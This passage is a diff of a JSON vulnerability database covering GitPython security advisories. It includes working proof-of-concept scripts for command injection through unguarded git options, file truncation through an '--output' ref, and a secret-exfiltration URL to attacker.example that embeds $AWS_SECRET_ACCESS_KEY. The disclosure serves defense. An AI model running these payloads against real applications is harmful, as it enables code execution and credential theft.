os.path.exists(marker))\n```\n\nVerbatim output:\n\n```\n[*] git exited non-zero (expected), but the exec already ran: Cmd('git') failed due to: exit code(128)\n[+] marker present: True\n```\n\n`git config --get protocol.ext.allow` returns nothing (unset = default), confirming no special config is required.\n\n### PoC 2 \u2014 command execution via `git.ls_remote(upload_pack=...)`\n\n```python\n# lsremote_rce.py\nimport os, tempfile, subprocess, git\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d], check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True)\nrepo = git.Repo(d)\nmarker = os.path.join(tempfile.gettempdir(),'gp_lsr_marker')\nif os.path.exists(marker): os.remove(marker)\ntry:\n repo.git.ls_remote('.', upload_pack='touch '+marker+';')\nexcept git.exc.GitCommandError as e:\n print('[*] git err:', str(e).splitlines()[0][:50])\nprint('[+] ls-remote marker present:', os.path.exists(marker))\n```\n\nVerbatim output:\n\n```\n[*] git err: Cmd('git') failed due to: exit code(128)\n[+] ls-remote marker present: True\n```\n\n### PoC 3 \u2014 arbitrary file overwrite via a benign-looking `rev`\n\n```python\n# itercommits_filewrite.py\nimport os, tempfile, subprocess, git\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d], check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True)\nrepo = git.Repo(d)\nvictim = os.path.join(tempfile.gettempdir(),'gp_fw_victim')\nopen(victim,'w').write('do not delete\\n')\nprint('[*] before:', repr(open(victim).read()))\nuser_ref = '--output=' + victim # value an app forwards as a \"ref/branch\"\ntry:\n list(repo.iter_commits(user_ref))\nexcept git.exc.GitCommandError as e:\n print('[*] git err (after open+truncate):', str(e).splitlines()[0][:50])\nprint('[+] after :', repr(open(victim).read()), '<- truncated')\n```\n\nVerbatim output:\n\n```\n[*] before: 'do not delete\\n'\n[*] git err (after open+truncate): Cmd('git') failed due to: exit code(129)\n[+] after : '' <- truncated\n```", "severity": [ { - "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", - "type": "CVSS_V3" + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "summary": "GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist" - }, - { "affected": [ { - "database_specific": { - "last_known_affected_version_range": "<= 3.1.50", - "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-956x-8gvw-wg5v/GHSA-956x-8gvw-wg5v.json" - }, "package": { "ecosystem": "PyPI", "name": "gitpython", @@ -1157,6 +1126,7 @@ }, "ranges": [ { + "type": "ECOSYSTEM", "events": [ { "introduced": "0" @@ -1164,8 +1134,7 @@ { "fixed": "3.1.51" } - ], - "type": "ECOSYSTEM" + ] } ], "versions": [ @@ -1272,23 +1241,13 @@ "3.1.7", "3.1.8", "3.1.9" - ] + ], + "database_specific": { + "last_known_affected_version_range": "<= 3.1.50", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-956x-8gvw-wg5v/GHSA-956x-8gvw-wg5v.json" + } } ], - "database_specific": { - "cwe_ids": [ - "CWE-77", - "CWE-88" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-07-21T20:10:06Z", - "nvd_published_at": null, - "severity": "HIGH" - }, - "details": "## Summary\n\nGitPython spawns the real `git` binary with an argument vector built from caller-supplied values. To prevent argument injection, GitPython maintains denylists of \"unsafe\" Git options (`--upload-pack`, `--receive-pack`, `--exec`, `-c`, `--config`, \u2026) that can be abused to run arbitrary commands, and enforces them with `Git.check_unsafe_options()`.\n\nThat enforcement is only wired into the **network** commands \u2014 `clone_from`, `Remote.fetch`, `Remote.pull`, `Remote.push`. Several other public APIs that also forward caller-controlled values into the `git` argv have **no guard at all**:\n\n1. **`Repo.archive(ostream, treeish=None, prefix=None, **kwargs)`** forwards `**kwargs` verbatim into `git archive`. An attacker-influenced options mapping such as `{\"remote\": \".\", \"exec\": \"\"}` becomes `git archive --remote=. --exec= -- `, and `git archive --remote=` invokes `git-upload-archive` whose path is overridden by `--exec` \u2192 **arbitrary command execution under default Git configuration** (no `protocol.ext.allow` needed).\n\n2. **`repo.git.ls_remote(, upload_pack=\"\")`** (and the dynamic-command builder generally) turns the `upload_pack` kwarg into `--upload-pack=` with no guard \u2192 **arbitrary command execution**.\n\n3. **`Repo.iter_commits(rev)`** and **`Repo.blame(rev, file)`** place the caller's `rev` value into the argv *before* the `--` end-of-options separator and apply no leading-dash check. A benign-looking ref value such as `--output=/path/to/file` is parsed by `git rev-list` / `git blame` as the `--output` option, which **opens and truncates an arbitrary file** before Git even validates the revision \u2192 arbitrary file clobber (integrity/availability; can destroy keys, configs, lockfiles, or be aimed at files the host later sources).\n\nThe first two are direct code execution; the third is an arbitrary file-overwrite primitive. All share one root cause: the `check_unsafe_options` / end-of-options discipline that GitPython applies to clone/fetch/pull/push was never extended to these sinks.\n\n## Details\n\nGitPython explicitly recognises these options as command-execution vectors. `git/remote.py:535`:\n\n```python\nunsafe_git_fetch_options = [\n # Arbitrary command execution.\n \"--upload-pack\",\n \"--receive-pack\",\n # Arbitrary file overwrite.\n \"--exec\",\n]\n```\n\nand enforces them via `Git.check_unsafe_options()` (`git/cmd.py:963`):\n\n```python\ndef check_unsafe_options(cls, options, unsafe_options):\n ...\n if unsafe_option is not None:\n raise UnsafeOptionError(f\"{unsafe_option} is not allowed, use `allow_unsafe_options=True` to allow it.\")\n```\n\nBut `check_unsafe_options` is invoked from **only five sites**, all network commands:\n\n```\ngit/remote.py:1071 Remote.fetch\ngit/remote.py:1125 Remote.pull\ngit/remote.py:1198 Remote.push\ngit/repo/base.py:1410 / :1412 Repo.clone_from\n```\n\nThe following sinks call `git` with caller-controlled options/positionals and are **not** guarded:\n\n### 1. `Repo.archive` \u2014 command execution (`git/repo/base.py:1623`)\n\n```python\ndef archive(self, ostream, treeish=None, prefix=None, **kwargs):\n ...\n self.git.archive(\"--\", treeish, *path, **kwargs)\n return self\n```\n\n`treeish` and `path` are correctly placed after `--`, but `**kwargs` are converted by `Git.transform_kwarg` (`git/cmd.py:1487`) into `--=` flags and inserted **before** the `--` by `_call_process`, with no `check_unsafe_options`. `Repo.archive` already documents user-facing kwargs (`format`, `prefix`, `path`), so forwarding a caller options mapping is an expected usage. Final argv:\n\n```\ngit archive --remote=. --exec= -- \n```\n\n`git archive --remote=` runs the upload-archive helper; `--exec=` overrides the helper path, executing `` on the host. This works with **default Git config** \u2014 it does not rely on the `ext::` transport (which is blocked by default).\n\n### 2. `repo.git.ls_remote(..., upload_pack=...)` \u2014 command execution (dynamic builder, `git/cmd.py:1487`)\n\n`transform_kwarg` dashifies `upload_pack` \u2192 `--upload-pack=`. `git ls-remote --upload-pack=` executes ``. The dynamic builder makes **both** the flag name and value caller-controlled (`repo.git.(**user_dict)`), and `ls_remote` has no `check_unsafe_options`.\n\nThis is exactly the underscore-kwarg-vs-hyphen-kwarg gap that CVE-2026-42215 fixed for `fetch`/`pull`/`push`/`clone_from` \u2014 but `ls_remote` and the rest of the dynamic surface were left unpatched.\n\n### 3. `Repo.iter_commits` / `Repo.blame` \u2014 arbitrary file overwrite (`git/objects/commit.py:348`, `git/repo/base.py:1199`)\n\n```python\n# Commit.iter_items (reached via Repo.iter_commits)\nproc = repo.git.rev_list(rev, args_list, as_process=True, **kwargs) # args_list == [\"--\", *paths]\n```\n\n```python\n# Repo.blame\ndata = self.git.blame(rev, *rev_opts, \"--\", file, p=True, stdout_as_string=False, **kwargs)\n```\n\n`rev` is placed **before** `--`, with no leading-dash check anywhere in the path. A caller passing `rev=\"--output=/path\"` (a value that looks like an ordinary ref/branch/tag string an app forwards from user input) produces:\n\n```\ngit rev-list --output=/path --\n```\n\n`git rev-list`/`log`/`blame` honour `--output=`, which `open()`s and truncates the file *before* validating the revision \u2014 so the file is destroyed even though Git then errors out on the bad revision.\n\n## PoC\n\nAll three PoCs are self-contained, run against the released **GitPython 3.1.50** under **default Git configuration**, and were executed live (git 2.51.0). Each prints a host-side marker proving the effect.\n\n### Install\n\n```bash\npython3 -m venv venv && . venv/bin/activate\npip install GitPython # resolves to 3.1.50\npython -c \"import git; print(git.__version__)\" # 3.1.50\n```\n\n### PoC 1 \u2014 command execution via `Repo.archive`\n\n```python\n# archive_rce.py\nimport io, os, tempfile, subprocess, git\n\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d], check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',\n 'commit','-q','--allow-empty','-m','init'], check=True)\nrepo = git.Repo(d)\n\nmarker = os.path.join(tempfile.gettempdir(), 'gp_rce_marker')\nif os.path.exists(marker): os.remove(marker)\n\n# a service lets a user export a repo and forwards their options dict\nopts = {'remote': '.', 'exec': 'touch ' + marker}\ntry:\n repo.archive(io.BytesIO(), **opts)\nexcept git.exc.GitCommandError as e:\n print('[*] git exited non-zero (expected), but the exec already ran:', str(e).splitlines()[0][:60])\n\nprint('[+] marker present:', os.path.exists(marker))\n```\n\nVerbatim output:\n\n```\n[*] git exited non-zero (expected), but the exec already ran: Cmd('git') failed due to: exit code(128)\n[+] marker present: True\n```\n\n`git config --get protocol.ext.allow` returns nothing (unset = default), confirming no special config is required.\n\n### PoC 2 \u2014 command execution via `git.ls_remote(upload_pack=...)`\n\n```python\n# lsremote_rce.py\nimport os, tempfile, subprocess, git\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d], check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True)\nrepo = git.Repo(d)\nmarker = os.path.join(tempfile.gettempdir(),'gp_lsr_marker')\nif os.path.exists(marker): os.remove(marker)\ntry:\n repo.git.ls_remote('.', upload_pack='touch '+marker+';')\nexcept git.exc.GitCommandError as e:\n print('[*] git err:', str(e).splitlines()[0][:50])\nprint('[+] ls-remote marker present:', os.path.exists(marker))\n```\n\nVerbatim output:\n\n```\n[*] git err: Cmd('git') failed due to: exit code(128)\n[+] ls-remote marker present: True\n```\n\n### PoC 3 \u2014 arbitrary file overwrite via a benign-looking `rev`\n\n```python\n# itercommits_filewrite.py\nimport os, tempfile, subprocess, git\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d], check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a','commit','-q','--allow-empty','-m','init'], check=True)\nrepo = git.Repo(d)\nvictim = os.path.join(tempfile.gettempdir(),'gp_fw_victim')\nopen(victim,'w').write('do not delete\\n')\nprint('[*] before:', repr(open(victim).read()))\nuser_ref = '--output=' + victim # value an app forwards as a \"ref/branch\"\ntry:\n list(repo.iter_commits(user_ref))\nexcept git.exc.GitCommandError as e:\n print('[*] git err (after open+truncate):', str(e).splitlines()[0][:50])\nprint('[+] after :', repr(open(victim).read()), '<- truncated')\n```\n\nVerbatim output:\n\n```\n[*] before: 'do not delete\\n'\n[*] git err (after open+truncate): Cmd('git') failed due to: exit code(129)\n[+] after : '' <- truncated\n```", - "id": "GHSA-956x-8gvw-wg5v", - "modified": "2026-07-23T03:14:30.313607442Z", - "published": "2026-07-21T20:10:06Z", "references": [ { "type": "WEB", @@ -1311,25 +1270,35 @@ "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51" } ], + "database_specific": { + "cwe_ids": [ + "CWE-77", + "CWE-88" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-07-21T20:10:06Z", + "nvd_published_at": null, + "severity": "HIGH" + } + }, + { + "modified": "2026-07-23T03:14:29Z", + "published": "2026-07-21T22:06:09Z", + "schema_version": "1.7.5", + "id": "GHSA-rwj8-pgh3-r573", "related": [ - "CGA-78vw-9344-jhxg" + "CGA-5665-f577-gxxx" ], - "schema_version": "1.7.5", + "summary": "GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL", + "details": "### Summary\n`Repo.clone_from()` passes the caller-supplied remote URL through `Git.polish_url()`, which on every non-Cygwin platform calls `os.path.expandvars()` on the URL before handing it to `git clone`. An attacker who controls the URL argument \u2014 the documented use case for `clone_from()` in \"import repository from URL\" features of CI servers, git-hosting mirrors, and dependency scanners \u2014 can embed `$NAME` / `${NAME}` tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as `AWS_SECRET_ACCESS_KEY` or `GITHUB_TOKEN` with no precondition beyond the ability to submit a clone URL.\n\n### Details\n**Affected versions:** `gitpython` (PyPI) \u2014 all releases up to and including `3.1.50` (latest at time of reporting); confirmed present on the `main` branch.\n\n`Git.polish_url()` unconditionally applies environment-variable expansion to its input on the non-Cygwin branch:\n\n`git/cmd.py` (v3.1.50), lines 907\u2013925:\n```python\n@classmethod\ndef polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike:\n \"\"\"Remove any backslashes from URLs to be written in config files.\n ...\n \"\"\"\n if is_cygwin is None:\n is_cygwin = cls.is_cygwin()\n\n if is_cygwin:\n url = cygpath(url)\n else:\n url = os.path.expandvars(url) # <-- line 921\n if url.startswith(\"~\"):\n url = os.path.expanduser(url)\n url = url.replace(\"\\\\\\\\\", \"\\\\\").replace(\"\\\\\", \"/\")\n return url\n```\n\n`Repo._clone()` \u2014 reached from the public `Repo.clone_from()` (`git/repo/base.py:1520`) and `Repo.clone()` \u2014 runs the unsafe-protocol check on the **raw** URL and then passes the **polished** (post-expansion) URL to the `git clone` subprocess:\n\n`git/repo/base.py` (v3.1.50), lines 1407\u20131418:\n```python\nif not allow_unsafe_protocols:\n Git.check_unsafe_protocols(url)\nif not allow_unsafe_options:\n Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options)\nif not allow_unsafe_options and multi:\n Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options)\n\nproc = git.clone(\n multi,\n \"--\",\n Git.polish_url(url), # <-- line 1417: expanded URL sent to `git clone`\n clone_path,\n ...\n)\n```\n\nBecause `os.path.expandvars()` on POSIX substitutes `$NAME` and `${NAME}` with `os.environ[NAME]` when set (and on Windows additionally `%NAME%`), an attacker-supplied URL such as:\n\n```\nhttps://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git\n```\n\nis rewritten server-side to embed the literal secret value in the path component, and `git clone` then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to `attacker.example`. The clone itself will typically fail, but the secret has already left the server by that point.\n\n`polish_url()` was written as a local-path normalisation helper (Cygwin path conversion, `~` expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no `expand_vars=False` opt-out for the clone URL, and no documentation that the URL undergoes environment expansion \u2014 the `clone_from` docstring describes `url` only as a \"Valid git url\". By contrast, the maintainers already flag env-var expansion as a security concern for the *local repository path* argument: `Repo.__init__` emits a deprecation warning (\"The use of environment variables in paths is deprecated for security reasons\", `git/repo/base.py:226\u2013231`) and offers `expand_vars=False`. The same treatment is missing for the network-bound clone URL.\n\n**Secondary consequence (unsafe-protocol filter bypass).** Because `check_unsafe_protocols()` runs on the *pre-expansion* URL (line 1408) but the *post-expansion* URL is what reaches `git`, an attacker who additionally controls any environment variable in the server process could set e.g. `X=ext::sh -c '...'` and submit `url=\"$X\"`; the raw string `$X` passes the `ext::` filter, then expands to an `ext::` remote-helper transport that `git` will execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability.\n\n### PoC\nTested against `gitpython==3.1.50` on Linux with Python 3 and `git` on `PATH`.\n\n```bash\npython3 -m venv /tmp/gp-venv\n/tmp/gp-venv/bin/pip install gitpython==3.1.50\n/tmp/gp-venv/bin/python poc.py\n```\n\n`poc.py`:\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: environment-variable exfiltration via Repo.clone_from() URL.\n\nDemonstrates that an attacker-controlled `url` argument to Repo.clone_from()\nis passed through os.path.expandvars() before being given to `git clone`,\nso `$NAME` tokens in the URL are replaced with the server process's\nenvironment-variable values and transmitted to the attacker-named host.\n\nThe PoC intercepts the Popen argv to show the exact URL handed to `git`\nwithout performing real network I/O.\n\"\"\"\nimport os\nimport sys\nimport subprocess\nimport tempfile\n\n# Simulate a sensitive server-side environment variable.\nos.environ[\"AWS_SECRET_ACCESS_KEY\"] = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n\nimport git # noqa: E402\nfrom git import Git, Repo # noqa: E402\n\nprint(f\"gitpython version: {git.__version__}\")\n\n# --- Layer 1: Git.polish_url() directly --------------------------------------\nattacker_url = \"https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\"\npolished = Git.polish_url(attacker_url)\nprint(\"\\n[Layer 1] polish_url result:\")\nprint(f\" input : {attacker_url}\")\nprint(f\" output: {polished}\")\nif os.environ[\"AWS_SECRET_ACCESS_KEY\"] in polished:\n print(\" -> secret SUBSTITUTED into URL by polish_url()\")\n\n# --- Layer 2: full Repo.clone_from() -- capture argv given to `git` ----------\ncaptured = {}\norig_popen = subprocess.Popen\n\nclass CapturingPopen(orig_popen):\n def __init__(self, cmd, *a, **kw):\n if isinstance(cmd, (list, tuple)) and \"clone\" in cmd:\n captured[\"cmd\"] = list(cmd)\n super().__init__(cmd, *a, **kw)\n\nsubprocess.Popen = CapturingPopen\nimport git.cmd as gitcmd # noqa: E402\ngitcmd.safer_popen = CapturingPopen # non-Windows: safer_popen == Popen\n\ndest = tempfile.mkdtemp(prefix=\"gp_poc_\")\ntry:\n Repo.clone_from(attacker_url, os.path.join(dest, \"out\"))\nexcept Exception as e:\n # The clone fails (attacker.example does not resolve); we only need argv.\n print(f\"\\n[Layer 2] clone_from raised (expected): {type(e).__name__}\")\n\nsubprocess.Popen = orig_popen\n\nprint(\"\\n[Layer 2] argv passed to `git clone` subprocess:\")\nfor tok in captured.get(\"cmd\", []):\n print(f\" {tok}\")\n\ncmd = captured.get(\"cmd\", [])\nurl_arg = cmd[cmd.index(\"--\") + 1] if \"--\" in cmd else None\nprint(f\"\\n[Layer 2] URL argument given to git: {url_arg}\")\n\nsecret = os.environ[\"AWS_SECRET_ACCESS_KEY\"]\nif url_arg and secret in url_arg:\n print(\n \"\\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated \"\n \"into the remote clone URL; git would transmit it to attacker.example.\"\n )\n sys.exit(0)\nprint(\"\\nNOT VULNERABLE\")\nsys.exit(1)\n```\n\nExpected output:\n```\ngitpython version: 3.1.50\n\n[Layer 1] polish_url result:\n input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\n output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n -> secret SUBSTITUTED into URL by polish_url()\n\n[Layer 2] clone_from raised (expected): GitCommandError\n\n[Layer 2] argv passed to `git clone` subprocess:\n git\n clone\n -v\n --\n https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n /tmp/gp_poc_XXXXXXXX/out\n\n[Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated into the remote clone URL; git would transmit it to attacker.example.\n```\n\nThe captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host, `git` would issue a DNS lookup and HTTP(S) request to that host with the secret embedded in the request path.\n\n### Impact\nAny application that calls `Repo.clone_from()` (or `Repo.clone()`) with a URL that is wholly or partially attacker-controlled \u2014 the canonical pattern for \"import/mirror repository from URL\" features in CI systems, source-code hosting platforms, dependency scanners, and build pipelines \u2014 allows an unauthenticated or low-privileged attacker to exfiltrate arbitrary environment variables from the server process, one per request, by naming them in the URL. Cloud credentials, API tokens, and signing keys stored in the environment are the primary targets. Applications that do not accept clone URLs from untrusted sources, or that run the cloner in a process with a fully stripped environment, are not affected. There is no direct integrity or availability impact.\n\n**Suggested fix:** Remove the `os.path.expandvars()` (and `os.path.expanduser()`) call from `Git.polish_url()` for inputs that are remote URLs (contain `://` or match `user@host:path`), or remove the expansion entirely and require callers who want local-path env expansion to perform it themselves \u2014 mirroring the existing deprecation on `Repo(path, expand_vars=\u2026)`. Additionally, apply `check_unsafe_protocols()` to the *post-transformation* URL so no future `polish_url` change can silently bypass the `ext::` filter.", "severity": [ { - "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", - "type": "CVSS_V3" + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" } ], - "summary": "GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`" - }, - { "affected": [ { - "database_specific": { - "last_known_affected_version_range": "<= 3.1.51", - "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-rwj8-pgh3-r573/GHSA-rwj8-pgh3-r573.json" - }, "package": { "ecosystem": "PyPI", "name": "gitpython", @@ -1337,6 +1306,7 @@ }, "ranges": [ { + "type": "ECOSYSTEM", "events": [ { "introduced": "0" @@ -1344,8 +1314,7 @@ { "fixed": "3.1.52" } - ], - "type": "ECOSYSTEM" + ] } ], "versions": [ @@ -1453,23 +1422,13 @@ "3.1.7", "3.1.8", "3.1.9" - ] + ], + "database_specific": { + "last_known_affected_version_range": "<= 3.1.51", + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-rwj8-pgh3-r573/GHSA-rwj8-pgh3-r573.json" + } } ], - "database_specific": { - "cwe_ids": [ - "CWE-200", - "CWE-201" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-07-21T22:06:09Z", - "nvd_published_at": null, - "severity": "HIGH" - }, - "details": "### Summary\n`Repo.clone_from()` passes the caller-supplied remote URL through `Git.polish_url()`, which on every non-Cygwin platform calls `os.path.expandvars()` on the URL before handing it to `git clone`. An attacker who controls the URL argument \u2014 the documented use case for `clone_from()` in \"import repository from URL\" features of CI servers, git-hosting mirrors, and dependency scanners \u2014 can embed `$NAME` / `${NAME}` tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as `AWS_SECRET_ACCESS_KEY` or `GITHUB_TOKEN` with no precondition beyond the ability to submit a clone URL.\n\n### Details\n**Affected versions:** `gitpython` (PyPI) \u2014 all releases up to and including `3.1.50` (latest at time of reporting); confirmed present on the `main` branch.\n\n`Git.polish_url()` unconditionally applies environment-variable expansion to its input on the non-Cygwin branch:\n\n`git/cmd.py` (v3.1.50), lines 907\u2013925:\n```python\n@classmethod\ndef polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike:\n \"\"\"Remove any backslashes from URLs to be written in config files.\n ...\n \"\"\"\n if is_cygwin is None:\n is_cygwin = cls.is_cygwin()\n\n if is_cygwin:\n url = cygpath(url)\n else:\n url = os.path.expandvars(url) # <-- line 921\n if url.startswith(\"~\"):\n url = os.path.expanduser(url)\n url = url.replace(\"\\\\\\\\\", \"\\\\\").replace(\"\\\\\", \"/\")\n return url\n```\n\n`Repo._clone()` \u2014 reached from the public `Repo.clone_from()` (`git/repo/base.py:1520`) and `Repo.clone()` \u2014 runs the unsafe-protocol check on the **raw** URL and then passes the **polished** (post-expansion) URL to the `git clone` subprocess:\n\n`git/repo/base.py` (v3.1.50), lines 1407\u20131418:\n```python\nif not allow_unsafe_protocols:\n Git.check_unsafe_protocols(url)\nif not allow_unsafe_options:\n Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options)\nif not allow_unsafe_options and multi:\n Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options)\n\nproc = git.clone(\n multi,\n \"--\",\n Git.polish_url(url), # <-- line 1417: expanded URL sent to `git clone`\n clone_path,\n ...\n)\n```\n\nBecause `os.path.expandvars()` on POSIX substitutes `$NAME` and `${NAME}` with `os.environ[NAME]` when set (and on Windows additionally `%NAME%`), an attacker-supplied URL such as:\n\n```\nhttps://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git\n```\n\nis rewritten server-side to embed the literal secret value in the path component, and `git clone` then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to `attacker.example`. The clone itself will typically fail, but the secret has already left the server by that point.\n\n`polish_url()` was written as a local-path normalisation helper (Cygwin path conversion, `~` expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no `expand_vars=False` opt-out for the clone URL, and no documentation that the URL undergoes environment expansion \u2014 the `clone_from` docstring describes `url` only as a \"Valid git url\". By contrast, the maintainers already flag env-var expansion as a security concern for the *local repository path* argument: `Repo.__init__` emits a deprecation warning (\"The use of environment variables in paths is deprecated for security reasons\", `git/repo/base.py:226\u2013231`) and offers `expand_vars=False`. The same treatment is missing for the network-bound clone URL.\n\n**Secondary consequence (unsafe-protocol filter bypass).** Because `check_unsafe_protocols()` runs on the *pre-expansion* URL (line 1408) but the *post-expansion* URL is what reaches `git`, an attacker who additionally controls any environment variable in the server process could set e.g. `X=ext::sh -c '...'` and submit `url=\"$X\"`; the raw string `$X` passes the `ext::` filter, then expands to an `ext::` remote-helper transport that `git` will execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability.\n\n### PoC\nTested against `gitpython==3.1.50` on Linux with Python 3 and `git` on `PATH`.\n\n```bash\npython3 -m venv /tmp/gp-venv\n/tmp/gp-venv/bin/pip install gitpython==3.1.50\n/tmp/gp-venv/bin/python poc.py\n```\n\n`poc.py`:\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: environment-variable exfiltration via Repo.clone_from() URL.\n\nDemonstrates that an attacker-controlled `url` argument to Repo.clone_from()\nis passed through os.path.expandvars() before being given to `git clone`,\nso `$NAME` tokens in the URL are replaced with the server process's\nenvironment-variable values and transmitted to the attacker-named host.\n\nThe PoC intercepts the Popen argv to show the exact URL handed to `git`\nwithout performing real network I/O.\n\"\"\"\nimport os\nimport sys\nimport subprocess\nimport tempfile\n\n# Simulate a sensitive server-side environment variable.\nos.environ[\"AWS_SECRET_ACCESS_KEY\"] = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"\n\nimport git # noqa: E402\nfrom git import Git, Repo # noqa: E402\n\nprint(f\"gitpython version: {git.__version__}\")\n\n# --- Layer 1: Git.polish_url() directly --------------------------------------\nattacker_url = \"https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\"\npolished = Git.polish_url(attacker_url)\nprint(\"\\n[Layer 1] polish_url result:\")\nprint(f\" input : {attacker_url}\")\nprint(f\" output: {polished}\")\nif os.environ[\"AWS_SECRET_ACCESS_KEY\"] in polished:\n print(\" -> secret SUBSTITUTED into URL by polish_url()\")\n\n# --- Layer 2: full Repo.clone_from() -- capture argv given to `git` ----------\ncaptured = {}\norig_popen = subprocess.Popen\n\nclass CapturingPopen(orig_popen):\n def __init__(self, cmd, *a, **kw):\n if isinstance(cmd, (list, tuple)) and \"clone\" in cmd:\n captured[\"cmd\"] = list(cmd)\n super().__init__(cmd, *a, **kw)\n\nsubprocess.Popen = CapturingPopen\nimport git.cmd as gitcmd # noqa: E402\ngitcmd.safer_popen = CapturingPopen # non-Windows: safer_popen == Popen\n\ndest = tempfile.mkdtemp(prefix=\"gp_poc_\")\ntry:\n Repo.clone_from(attacker_url, os.path.join(dest, \"out\"))\nexcept Exception as e:\n # The clone fails (attacker.example does not resolve); we only need argv.\n print(f\"\\n[Layer 2] clone_from raised (expected): {type(e).__name__}\")\n\nsubprocess.Popen = orig_popen\n\nprint(\"\\n[Layer 2] argv passed to `git clone` subprocess:\")\nfor tok in captured.get(\"cmd\", []):\n print(f\" {tok}\")\n\ncmd = captured.get(\"cmd\", [])\nurl_arg = cmd[cmd.index(\"--\") + 1] if \"--\" in cmd else None\nprint(f\"\\n[Layer 2] URL argument given to git: {url_arg}\")\n\nsecret = os.environ[\"AWS_SECRET_ACCESS_KEY\"]\nif url_arg and secret in url_arg:\n print(\n \"\\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated \"\n \"into the remote clone URL; git would transmit it to attacker.example.\"\n )\n sys.exit(0)\nprint(\"\\nNOT VULNERABLE\")\nsys.exit(1)\n```\n\nExpected output:\n```\ngitpython version: 3.1.50\n\n[Layer 1] polish_url result:\n input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git\n output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n -> secret SUBSTITUTED into URL by polish_url()\n\n[Layer 2] clone_from raised (expected): GitCommandError\n\n[Layer 2] argv passed to `git clone` subprocess:\n git\n clone\n -v\n --\n https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n /tmp/gp_poc_XXXXXXXX/out\n\n[Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git\n\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated into the remote clone URL; git would transmit it to attacker.example.\n```\n\nThe captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host, `git` would issue a DNS lookup and 